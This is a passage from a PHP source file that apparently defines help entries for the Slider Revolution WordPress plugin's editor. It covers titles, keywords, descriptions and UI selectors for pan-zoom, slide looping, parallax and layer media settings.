								$h => "panzoom.fitEnd",
								$k => array("panzoom", "pan zoom", "zoom", "pan zoom zoom", "panzoom zoom"),
								$d => __("The ending zoom percentage", 'revsliderhelp'),
								$a => $u . "pan-zoom/",
								$hl => array(
									$dp => array(
										array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
										array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom')
									),
									$m => "#module_slide_trigger, #gst_slide_3", 
									$st => '#form_slidebg_kenburn', 
									$f => "#sl_pz_fe"
								)
							)
						),
						'movement' => array(
							'x_start' => array(
								$t => __("Start Position X", 'revsliderhelp'),
								$h => "panzoom.xStart",
								$k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"),
								$d => __("The starting x position for the PanZoom movement", 'revsliderhelp'),
								$a => $u . "pan-zoom/",
								$hl => array(
									$dp => array(
										array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
										array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom')
									),
									$m => "#module_slide_trigger, #gst_slide_3", 
									$st => '#form_slidebg_kenburn', 
									$f => "#sl_pz_xs"
								)
							),
							'x_end' => array(
								$t => __("End Position X", 'revsliderhelp'),
								$h => "panzoom.xEnd",
								$k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"),
								$d => __("The end x position for the PanZoom movement", 'revsliderhelp'),
								$a => $u . "pan-zoom/",
								$hl => array(
									$dp => array(
										array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
										array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom')
									),
									$m => "#module_slide_trigger, #gst_slide_3", 
									$st => '#form_slidebg_kenburn', 
									$f => "#sl_pz_xe"
								)
							),
							'y_start' => array(
								$t => __("Start Position Y", 'revsliderhelp'),
								$h => "panzoom.yStart",
								$k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"),
								$d => __("The starting y position for the PanZoom movement", 'revsliderhelp'),
								$a => $u . "pan-zoom/",
								$hl => array(
									$dp => array(
										array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
										array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom')
									),
									$m => "#module_slide_trigger, #gst_slide_3", 
									$st => '#form_slidebg_kenburn', 
									$f => "#sl_pz_ys"
								)
							),
							'y_end' => array(
								$t => __("End Position Y", 'revsliderhelp'),
								$h => "panzoom.yEnd",
								$k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"),
								$d => __("The ending y position for the PanZoom movement", 'revsliderhelp'),
								$a => $u . "pan-zoom/",
								$hl => array(
									$dp => array(
										array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
										array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom')
									),
									$m => "#module_slide_trigger, #gst_slide_3", 
									$st => '#form_slidebg_kenburn', 
									$f => "#sl_pz_ye"
								)
							)
						),
						'rotation_blur' => array(
							'rotate_start' => array(
								$t => __("Rotate Start", 'revsliderhelp'),
								$h => "panzoom.rotateStart",
								$k => array("panzoom", "pan zoom", "rotate", "pan zoom rotate", "panzoom rotate", "rotation", "pan zoom rotation"),
								$d => __("The starting rotation for the PanZoom effect (deg)", 'revsliderhelp'),
								$a => $u . "pan-zoom/",
								$hl => array(
									$dp => array(
										array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
										array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom')
									),
									$m => "#module_slide_trigger, #gst_slide_3", 
									$st => '#form_slidebg_kenburn', 
									$f => "#sl_pz_ro"
								)
							),
							'rotate_end' => array(
								$t => __("Rotate End", 'revsliderhelp'),
								$h => "panzoom.rotateEnd",
								$k => array("panzoom", "pan zoom", "rotate", "pan zoom rotate", "panzoom rotate", "rotation", "pan zoom rotation"),
								$d => __("The ending rotation for the PanZoom effect (deg)", 'revsliderhelp'),
								$a => $u . "pan-zoom/",
								$hl => array(
									$dp => array(
										array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
										array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom')
									),
									$m => "#module_slide_trigger, #gst_slide_3", 
									$st => '#form_slidebg_kenburn', 
									$f => "#sl_pz_re"
								)
							),
							'blur_start' => array(
								$t => __("Blur Start", 'revsliderhelp'),
								$h => "panzoom.blurStart",
								$k => array("panzoom", "pan zoom", "rotate", "pan zoom blur", "panzoom blur", "blur", "image blur"),
								$d => __("The starting image blur for the PanZoom effect (px)", 'revsliderhelp'),
								$a => $u . "pan-zoom/",
								$hl => array(
									$dp => array(
										array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
										array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom')
									),
									$m => "#module_slide_trigger, #gst_slide_3", 
									$st => '#form_slidebg_kenburn', 
									$f => "#sl_pz_blurs"
								)
							),
							'blur_end' => array(
								$t => __("Blur End", 'revsliderhelp'),
								$h => "panzoom.blurEnd",
								$k => array("panzoom", "pan zoom", "rotate", "pan zoom blur", "panzoom blur", "blur", "image blur"),
								$d => __("The ending image blur for the PanZoom effect (px)", 'revsliderhelp'),
								$a => $u . "pan-zoom/",
								$hl => array(
									$dp => array(
										array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
										array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom')
									),
									$m => "#module_slide_trigger, #gst_slide_3", 
									$st => '#form_slidebg_kenburn', 
									$f => "#sl_pz_blure"
								)
							)
						),
						'easing' => array(
							$t => __("Easing", 'revsliderhelp'),
							$h => "panzoom.ease",
							$k => array("panzoom", "pan zoom", "easing", "pan zoom easing", "panzoom easing"),
							$d => __("The easing equation.  <a href='https://greensock.com/ease-visualizer' target=_'blank'>View visualization</a>", 'revsliderhelp'),
							$a => $u . "pan-zoom/",
							$hl => array(
								$dp => array(
									array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
									array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom')
								),
								$m => "#module_slide_trigger, #gst_slide_3", 
								$st => '#form_slidebg_kenburn', 
								$f => "#sl_pz_ease"
							)
						),
						'duration' => array(
							$t => __("Duration", 'revsliderhelp'),
							$h => "panzoom.duration",
							$k => array("panzoom", "pan zoom", "duration", "pan zoom duration", "panzoom duration"),
							$d => __("The easing duration in milliseconds", 'revsliderhelp'),
							$a => $u . "pan-zoom/",
							$hl => array(
								$dp => array(
									array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'),
									array($p => '#slide#.slide.panzoom.set', $v => true, $o => 'slide_panzoom')
								),
								$m => "#module_slide_trigger, #gst_slide_3", 
								$st => '#form_slidebg_kenburn', 
								$f => "#sl_pz_dur"
							)
						)
					),
					'gst_slide_7' => array(
						'param_text' => array(
							$t => __("Parameter Value", 'revsliderhelp'),
							$h => "info.params.v",
							$k => array("slide params", "slide parameters", "params", "parameters"),
							$d => __("Slide data that can be used for navigation text/data", 'revsliderhelp'),
							$a => $u . "slide-parameters/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_7", 
								$st => '#form_slidegeneral_params', 
								$f => "#slide_info_p1"
							)
						),
						'max_chars' => array(
							$t => __("Max Characters", 'revsliderhelp'),
							$h => "info.params.l",
							$k => array("max chars", "max characters", "params", "parameters", "slide params", "slide parameters"),
							$d => __("The maximum characters/letters to display for the paramater", 'revsliderhelp'),
							$a => $u . "slide-parameters/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_7", 
								$st => '#form_slidegeneral_params', 
								$f => "#slide_info_p1ch"
							)
						),
						'description' => array(
							$t => __("Description", 'revsliderhelp'),
							$h => "info.description",
							$k => array("params", "parameters", "slide params", "slide parameters", "slide description", "params description", "description"),
							$d => __("A Slide description for certain navigation types", 'revsliderhelp'),
							$a => $u . "slide-parameters/",
							$hl => array(
								$m => "#module_slide_trigger, #gst_slide_7", 
								$st => '#form_slidegeneral_params', 
								$f => "#slide_info_desc"
							)
						)
					),
					'gst_slide_11' => array(
						'use_slide_loop' => array(
							$di => 'slide_loop',
							$t => __("Slide Looping", 'revsliderhelp'),
							$h => "timeline.loop.set",
							$k => array("slide loop", "slide looping", "loop", "loop slide", "animation", "loop animation"),
							$d => __("Loop all or part of the current Slide's timeline", 'revsliderhelp'),
							$a => $u . "slide-loop",
							$hl => array($m => "#module_slide_trigger, #gst_slide_11", $st => '#form_slide_loops', $f => "#sl_layers_loop")
						),
						'repeat' => array(
							$t => __("Slide Loop Repeat", 'revsliderhelp'),
							$h => "timeline.loop.repeat",
							$k => array("slide loop", "slide looping", "loop", "loop slide", "animation", "loop animation", "repeat", "slide loop repeat", "loop repeat"),
							$d => __("Enter a specific amount of times the Slide's timeeline should loop or use 'unlimited' to loop continusously until the Slide changes", 'revsliderhelp'),
							$a => $u . "slide-loop",
							$hl => array(
								$dp => array(array($p => '#slide#.slide.timeline.loop.set', $v => true, $o => 'slide_loop')),
								$m => "#module_slide_trigger, #gst_slide_11", 
								$st => '#form_slide_loops', 
								$f => "#slide_loop_repeat"
							)
						),
						'loop_start' => array(
							$t => __("Slide Loop Start", 'revsliderhelp'),
							$h => "timeline.loop.start",
							$k => array("slide loop", "slide looping", "loop", "loop slide", "animation", "loop animation", "start", "slide loop start", "loop start"),
							$d => __("The point in the timeline where the looping should begin", 'revsliderhelp'),
							$a => $u . "slide-loop",
							$hl => array(
								$dp => array(array($p => '#slide#.slide.timeline.loop.set', $v => true, $o => 'slide_loop')),
								$m => "#module_slide_trigger, #gst_slide_11", 
								$st => '#form_slide_loops', 
								$f => "#slide_loop_start"
							)
						),
						'loop_end' => array(
							$t => __("Slide Loop End", 'revsliderhelp'),
							$h => "timeline.loop.end",
							$k => array("slide loop", "slide looping", "loop", "loop slide", "animation", "loop animation", "end", "slide loop end", "loop end"),
							$d => __("The point in the timeline where the looping should begin", 'revsliderhelp'),
							$a => $u . "slide-loop",
							$hl => array(
								$dp => array(array($p => '#slide#.slide.timeline.loop.set', $v => true, $o => 'slide_loop')),
								$m => "#module_slide_trigger, #gst_slide_11", 
								$st => '#form_slide_loops', 
								$f => "#slide_loop_end"
							)
						)
					),
					'gst_slide_12' => array(
						'parallax_level' => array(
							$t => __("Parallax Level", 'revsliderhelp'),
							$h => "effects.parallax",
							$k => array("parallax", "3d", "scroll", "on scroll", "parallax level", "level", "effects"),
							$d => __("The <a href='http://docs.themepunch.com/slider-revolution/parallax-3d-effect/#depths' target='_blank'>parallax level</a> to apply to the Slide's main background", 'revsliderhelp'),
							$a => $u . "slide-background/",
							$hl => array($m => "#module_slide_trigger, #gst_slide_12", $st => '#form_slidebg_pddd', $f => "#slide_parallax_level")
						),
						'fade' => array(
							$t => __("Fade Effect", 'revsliderhelp'),
							$h => "effects.fade",
							$k => array("parallax", "3d", "scroll", "on scroll", "effects", "fade"),
							$d => __("Fade Layers in and out as the page scrolls into and out of view", 'revsliderhelp'),
							$a => $u . "slide-background/",
							$hl => array($m => "#module_slide_trigger, #gst_slide_12", $st => '#form_slidefilter_scrollbased', $f => "#slide_effectscroll_fade")
						),
						'blur' => array(
							$t => __("Blur Effect", 'revsliderhelp'),
							$h => "effects.blur",
							$k => array("parallax", "3d", "scroll", "on scroll", "effects", "blur"),
							$d => __("Blur Layers in and out as the page scrolls into and out of view", 'revsliderhelp'),
							$a => $u . "slide-background/",
							$hl => array($m => "#module_slide_trigger, #gst_slide_12", $st => '#form_slidefilter_scrollbased', $f => "#slide_effectscroll_blur")
						),
						'grayscale' => array(
							$t => __("Grayscale Effect", 'revsliderhelp'),
							$h => "effects.grayscale",
							$k => array("parallax", "3d", "scroll", "on scroll", "effects", "grayscale"),
							$d => __("Aply a grayscale filter to Layers as the page scrolls into and out of view", 'revsliderhelp'),
							$a => $u . "slide-background/",
							$hl => array($m => "#module_slide_trigger, #gst_slide_12", $st => '#form_slidefilter_scrollbased', $f => "#slide_effectscroll_grayscale")
						)
					),
					'addons' => array(),
				),
				'layer_settings' => array(
					'gst_layer_1' => array(
						'text_button_icon' => array(
							'text_content' => array(
								$t => __("Layer Text", 'revsliderhelp'),
								$h => "text",
								$k => array("layer", "layers", "slider text", "slide text", "layer text", "text", "change text"),
								$d => __("The html/text for the selected Layer's content.  'Idle' is the default text.  And 'Toggle' is alternative text to show when the Layer is clicked.", 'revsliderhelp'),
								$a => $u . "layer-content/#text-buttons",
								$hl => array(
									$dp => array('layerselected::text||button'), 
									$m => "#module_layers_trigger, #gst_layer_1", 
									$st => '#form_layercontent_content_text', 
									$f => "#ta_layertext"
								)
							),
							'placeholder' => array(
								$t => __("Placeholder", 'revsliderhelp'),
								$h => "placeholder",
								$k => array("slider text", "slide text", "layer text", "text", "change text"),
								$d => __("Optional placeholder attribute for the Layer's wrapper", 'revsliderhelp'),
								$a => $u . "layer-content/#text-buttons",
								$hl => array(
									$dp => array('layerselected::text||button'), 
									$m => "#module_layers_trigger, #gst_layer_1", 
									$st => '#form_layercontent_content_text', 
									$f => "#ta_placeholder"
								)
							),
							'linebreak' => array(
								$t => __("Line Break Behavior", 'revsliderhelp'),
								$h => "idle.whiteSpace.#size#.v",
								$k => array("slider text", "slide text", "layer text", "text", "change text", "line-break", "line break"),
								$d => __("Choose how text should wrap/break onto lines lines", 'revsliderhelp'),
								$a => $u . "layer-content/#text-buttons",
								$hl => array(
									$dp => array('layerselected::text||button'), 
									$m => "#module_layers_trigger, #gst_layer_1", 
									$st => '#form_layercontent_content_text', 
									$f => "#layer_linebreak"
								)
							)
						),
						'image' => array(
							'image_from_stream' => array(
								$t => __("Image from Stream", 'revsliderhelp'),
								$h => "media.imageFromStream",
								$k => array("stream", "image stream", "stream image"),
								$d => __("Choose if the Image source should be populated by the Slide's social stream content", 'revsliderhelp'),
								$a => $u . "layer-content/#images",
								$hl => array(
									$dp => array('layerselected::image'), 
									$m => "#module_layers_trigger, #gst_layer_1", 
									$st => '#form_layercontent_content_image', 
									$f => "*[data-r='media.imageFromStream']"
								)
							),
							'image_url' => array(
								$t => __("Image URL", 'revsliderhelp'),
								$h => "media.imageUrl",
								$k => array("layer", "layers", "layer image", "image url", "media library", "layer image url"),
								$d => __("Set/change the image for the Layer", 'revsliderhelp'),
								$a => $u . "layer-content/#images",
								$hl => array(
									$dp => array('layerselected::image'), 
									$m => "#module_layers_trigger, #gst_layer_1", 
									$st => '#form_layercontent_content_image', 
									$f => "#image_layer_media_library_button"
								)
							),
							'lazy_loading' => array(
								$t => __("Lazy Loading", 'revsliderhelp'),
								$h => "behavior.lazyLoad",
								$k => array("lazy", "lazy load", "lazy loading"),
								$d => __("'Default' will use the Slider's Lazy Load setting, 'Force' will LazyLoad the image regardless of the Slider's settings, and 'Ignore' will set LazyLoad to off regardless of the Slider's settings.", 'revsliderhelp'),
								$a => $u . "layer-content/",
								$hl => array(
									$dp => array('layerselected::image'), 
									$m => "#module_layers_trigger, #gst_layer_1", 
									$st => '#form_layercontent_content_image', 
									$f => "*[data-r='behavior.lazyLoad']"
								)
							),
							'image_size' => array(
								$t => __("Image Source Size", 'revsliderhelp'),
								$h => "behavior.imageSourceType",
								$k => array("image size", "image source", "image sour size", "layer image"),
								$d => __("The default WordPress Image size to be used when the image is loaded", 'revsliderhelp'),
								$a => $u . "layer-content/",
								$hl => array(
									$dp => array('layerselected::image'), 
									$m => "#module_layers_trigger, #gst_layer_1", 
									$st => '#form_layercontent_content_image', 
									$f => "*[data-r='behavior.imageSourceType']"
								)
							)
						),
						'video_audio' => array(
							'media_content' => array(
								'video_from_stream' => array(
									$t => __("Video from Stream", 'revsliderhelp'),
									$h => "media.videoFromStream",
									$k => array("layer", "layers", "stream", "stream video", "video stream"),
									$d => __("The Layer's image will be populated automatically from the Slider's Video-Stream source", 'revsliderhelp'),
									$a => $u . "layer-content/#video-audio",
									$hl => array(
										$dp => array('layerselected::video'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video', 
										$f => "*[data-r='media.videoFromStream']"
									)
								),
								'type' => array(
									$di => "layer_video_type",
									$t => __("Video Type", 'revsliderhelp'),
									$h => "media.mediaType",
									$k => array("youtube", "vimeo", "html5 video", "video layer", "layer video", "youtube video", "you-tube", "you tube", "youtube video layer", "vimeo video"),
									$d => __("Choose if the video should be loaded from YouTube, Vimeo or locally (HTML5)", 'revsliderhelp'),
									$a => $u . "layer-content/#video-audio",
									$hl => array(
										$dp => array('layerselected::video'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video', 
										$f => "*[name='layer_video_type']*wildcard*"
									)
								),
								'video_id_url' => array(
									'video_id' => array(
										$t => __("YouTube/Vimeo ID", 'revsliderhelp'),
										$h => "media.id",
										$k => array("youtube", "vimeo", "video layer", "layer video", "youtube video", "you-tube", "you tube", "youtube video layer", "vimeo video", "youtube id", "vimeo id"),
										$d => __("The <a href='https://www.quora.com/What-is-a-YouTube-video-ID' target=_'blank'>YouTube ID</a> or <a href='https://docs.joeworkman.net/rapidweaver/stacks/vimeo/video-id' target='_blank'>Vimeo ID</a> for the video's source", 'revsliderhelp'),
										$a => $u . "layer-content/#video-audio",
										$hl => array(
											$dp => array(
												'layerselected::video',
												array($p => '#slide#.layers.#layer#.media.mediaType', $v => 'youtube::vimeo', $o => 'layer_video_type', 'target' => 'youtube')
											), 
											$m => "#module_layers_trigger, #gst_layer_1", 
											$st => '#form_layercontent_content_video', 
											$f => "#layer_youtubevimeo_id"
										)
									),
									'html5_video_url' => array(
										$t => __("HTML5 Video URL", 'revsliderhelp'),
										$h => "media.mp4Url",
										$k => array("mpeg", "mpg", "mp4", "html5 video", "html5 video source", "video url", "html5 url", "htlm5 video url"),
										$d => __("The url for the locally loaded HTML5 Video", 'revsliderhelp'),
										$a => $u . "layer-content/#video-audio",
										$hl => array(
											$dp => array(
												'layerselected::video',
												array($p => '#slide#.layers.#layer#.media.mediaType', $v => 'html5', $o => 'layer_video_type', 'target' => 'html5')
											), 
											$m => "#module_layers_trigger, #gst_layer_1", 
											$st => '#form_layercontent_content_video', 
											$f => "#layer_mpeg_src"
										)
									),
									'html5_audio_url' => array(
										$t => __("HTML5 Audio URL", 'revsliderhelp'),
										$h => "media.audioUrl",
										$k => array("mpeg", "mpg", "mp3", "audio", "html5 audio", "audio url", "html5 audio url", "sound"),
										$d => __("The url for the locally loaded HTML5 Audio", 'revsliderhelp'),
										$a => $u . "layer-content/#video-audio",
										$hl => array(
											$dp => array('layerselected::audio'), 
											$m => "#module_layers_trigger, #gst_layer_1", 
											$st => '#form_layercontent_content_video', 
											$f => "#layer_mpegaudio_src"
										)
									)
								),

								'fitCover' => array(
									$t => __("Video Fit Cover", 'revsliderhelp'),
									$h => "media.fitCover",
									$k => array("fit cover", "video size", "video fit cover"),
									$d => __("Video will fit in container with CSS property object-fit cover. Disable this option in case video size jumps on slide change.", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video', 
										$f => "#video_layer_fit_cover"
									)
								),

								'preloading' => array(
									'preload' => array(
										$t => __("Preload", 'revsliderhelp'),
										$h => "media.speed",
										$k => array("preload video", "html5 video preload", "html5 audio preload"),
										$d => __("The HTML5 Video/Audio <a href='https://www.w3schools.com/tags/att_video_preload.asp' target=_'blank'>preload behavior</a> for the currently selected Video Layer", 'revsliderhelp'),
										$a => $u . "layer-content/#video-audio",
										$hl => array(
											$dp => array(
												'layerselected::video||audio',
												array('dependency' => 'video', $p => '#slide#.layers.#layer#.media.mediaType', $v => 'html5', $o => 'layer_video_type', 'target' => 'html5')
											), 
											$m => "#module_layers_trigger, #gst_layer_1", 
											$st => '#form_layercontent_content_video', 
											$f => "#layer_media_preload"
										)
									),
									'skip_preload' => array(
										$t => __("Preload Delay", 'revsliderhelp'),
										$h => "media.preloadWait",
										$k => array("audio", "media", "audio player", "sound", "preload", "skip preload", "preload delay"),
										$d => __("Skip the preloading of HTML5 Audio by a set amount of seconds", 'revsliderhelp'),
										$a => $u . "layer-content/#video-audio",
										$hl => array(
											$dp => array('layerselected::audio'), 
											$m => "#module_layers_trigger, #gst_layer_1", 
											$st => '#form_layercontent_content_video', 
											$f => "*[data-r='media.preloadWait']"
										)
									)
								),
								'aspect_ratio' => array(
									$t => __("Aspect Ratio", 'revsliderhelp'),
									$h => "media.ratio",
									$k => array("aspect ratio", "video size", "video aspect ratio"),
									$d => __("This value should match the video's original aspect ratio", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video', 
										$f => "#layer_video_layeraspectratio"
									)
								),
								'autoplay' => array(
									$t => __("Autoplay", 'revsliderhelp'),
									$h => "media.autoPlay",
									$k => array("autoplay video", "video autoplay", "autoplay", "video", "youtube", "vimeo", "html5"),
									$d => __("The autoplay behavior for the currently selected Video Layer", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video||audio'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video', 
										$f => "#layer_video_autoplay"
									)
								),
								'loop' => array(
									$t => __("Loop Video/Audio", 'revsliderhelp'),
									$h => "media.loop",
									$k => array("loop", "video loop", "restart", "restart video"),
									$d => __("Restart the video/audio every time it ends", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video||audio'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video', 
										$f => "#layer_video_loop"
									)
								),
								'dotted_overlay' => array(
									$t => __("Dotted Overlay", 'revsliderhelp'),
									$h => "media.dotted",
									$k => array("overlay", "video overlay", "dotted overlay"),
									$d => __("Add a mesh-style overlay to the video for extra styling", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video', 
										$f => "#layer_dotted_overlay"
									)
								)
							),
							'media_poster' => array(
								'poster_from_stream' => array(
									$t => __("Poster from Stream", 'revsliderhelp'),
									$h => "media.posterFromStream",
									$k => array("stream", "stream background", "poster", "youtube poster", "vimeo poster", "video poster"),
									$d => __("The video's poster image will be populated automatically from the Slider's Video-Stream source", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_videoposter', 
										$f => "*[data-r='media.posterFromStream']"
									)
								),
								'poster_url' => array(
									$t => __("Poster URL", 'revsliderhelp'),
									$h => "media.posterUrl",
									$k => array("video poster", "poster", "youtube poster", "vimeo poster", "video image", "youtube image", "vimeo image", "poster url"),
									$d => __("Set/remove the video's preview image for the video", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_videoposter', 
										$f => "#form_layercontent_content_videoposter *[data-r='media.posterUrl']{first}"
									)
								),
								'poster_in_pause' => array(
									$t => __("Show Poster on Video Pause", 'revsliderhelp'),
									$h => "media.posterOnPause",
									$k => array("video poster", "poster", "youtube poster", "vimeo poster", "video image", "youtube image", "vimeo image"),
									$d => __("Show the video's preview image whenever the video is paused by the user or on a Slide change", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_videoposter', 
										$f => "*[data-r='media.posterOnPause']"
									)
								),
								'no_poster_mobile' => array(
									$t => __("No Poster on Mobile", 'revsliderhelp'),
									$h => "media.disableOnMobile",
									$k => array("video poster", "poster", "youtube poster", "vimeo poster", "video image", "youtube image", "vimeo image"),
									$d => __("Only show a video preview image on desktop computers", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_videoposter', 
										$f => "*[data-r='media.disableOnMobile']"
									)
								),
								'only_poster_mobile' => array(
									$t => __("Only Poster on Mobile", 'revsliderhelp'),
									$h => "media.posterOnMobile",
									$k => array("video poster", "poster", "youtube poster", "vimeo poster", "video image", "youtube image", "vimeo image"),
									$d => __("Only show a video preview image on mobile devices", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_videoposter', 
										$f => "*[data-r='media.posterOnMobile']"
									)
								)
							),
							'advanced_settings' => array(
								'stop_other_media' => array(
									$t => __("Stop Other Media", 'revsliderhelp'),
									$h => "media.stopAllVideo",
									$k => array("stop video", "pause video", "stop other media", "pause media", "stop media", "stop audio", "stop sound", "pause audio", "pause sound"),
									$d => __("Stop/pause other video/audio in the Slide when the currently selected Video Layer begins to play", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video||audio'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video_adv', 
										$f => "*[data-r='media.stopAllVideo']"
									)
								),
								'allow_fullscreen' => array(
									$t => __("Allow Fullscreen", 'revsliderhelp'),
									$h => "media.allowFullscreen",
									$k => array("fullscreen video", "fullscreen", "fullscreen button", "allow fullscreen"),
									$d => __("Allow the video to be taken fullscreen by the user", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video_adv', 
										$f => "*[data-r='media.allowFullscreen']"
									)
								),
								'next_slide_at_end' => array(
									$t => __("Next Slide at End", 'revsliderhelp'),
									$h => "media.nextSlideAtEnd",
									$k => array("next slide at end", "next slide end"),
									$d => __("Change to the next Slide when the video/audio ends", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video||audio'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video_adv', 
										$f => "*[data-r='media.nextSlideAtEnd']"
									)
								),
								'rewind_at_start' => array(
									$t => __("Rewind at Start", 'revsliderhelp'),
									$h => "media.forceRewind",
									$k => array("rewind", "rewind at start", "rewind video", "restart video", "rewind audio", "restart audio"),
									$d => __("Always play the video/audio from the beginning each time the Slide is shown", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video||audio'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video_adv', 
										$f => "*[data-r='media.forceRewind']"
									)
								),
								'no_interaction' => array(
									$di => 'no_interaction',
									$t => __("No Interaction", 'revsliderhelp'),
									$h => "media.nointeraction",
									$k => array("video controls", "video control bar", "controls", "audio controls", "video player", "audio player", "interaction", "no interaction"),
									$d => __("Disable all possible user-interaction with the video", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video||audio'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video_adv', 
										$f => "*[data-r='media.nointeraction']"
									)
								),
								'controls' => array(
									$t => __("Controls", 'revsliderhelp'),
									$h => "media.controls",
									$k => array("video controls", "video control bar", "controls", "audio controls", "video player", "audio player"),
									$d => __("Display controls in the video/audio player", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array(
											'layerselected::video||audio',
											array($p => '#slide#.layers.#layer#.media.nointeraction', $v => false, $o => 'no_interaction')
										), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video_adv', 
										$f => "*[data-r='media.controls']"
									)
								),
								'large_controls' => array(
									$t => __("Large Controls", 'revsliderhelp'),
									$h => "media.largeControls",
									$k => array("large controls", "video controls", "html5 video controls"),
									$d => __("Include large controls for HTML5 Video Layers", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array(
											'layerselected::video',
											array($p => '#slide#.layers.#layer#.media.mediaType', $v => 'html5', $o => 'layer_video_type', 'target' => 'html5'),
											array($p => '#slide#.layers.#layer#.media.nointeraction', $v => false, $o => 'no_interaction')
										), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video_adv', 
										$f => "*[data-r='media.largeControls']"
									)
								),
								'inline_mode' => array(
									$t => __("Inline Mode", 'revsliderhelp'),
									$h => "media.playInline",
									$k => array("playsinline, inline, inline mode, video inline, video playsinline"),
									$d => __("Include a 'playsline' attribute with the video element.  This will prevent the video from being taken fullscreen when it initially plays on mobile devices.", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video'), 
										$m => "#module_layers_trigger, #gst_layer_1", 
										$st => '#form_layercontent_content_video_adv', 
										$f => "*[data-r='media.playInline']"
									)
								),
								'mute_at_start' => array(
									$t => __("Mute at Start", 'revsliderhelp'),
									$h => "media.mute",
									$k => array("mute video", "mute at start"),
									$d => __("Auto-mute the video each time the Slide is shown", 'revsliderhelp'),
									$a => $u . "layer-video-audio-settings/",
									$hl => array(
										$dp => array('layerselected::video'), 
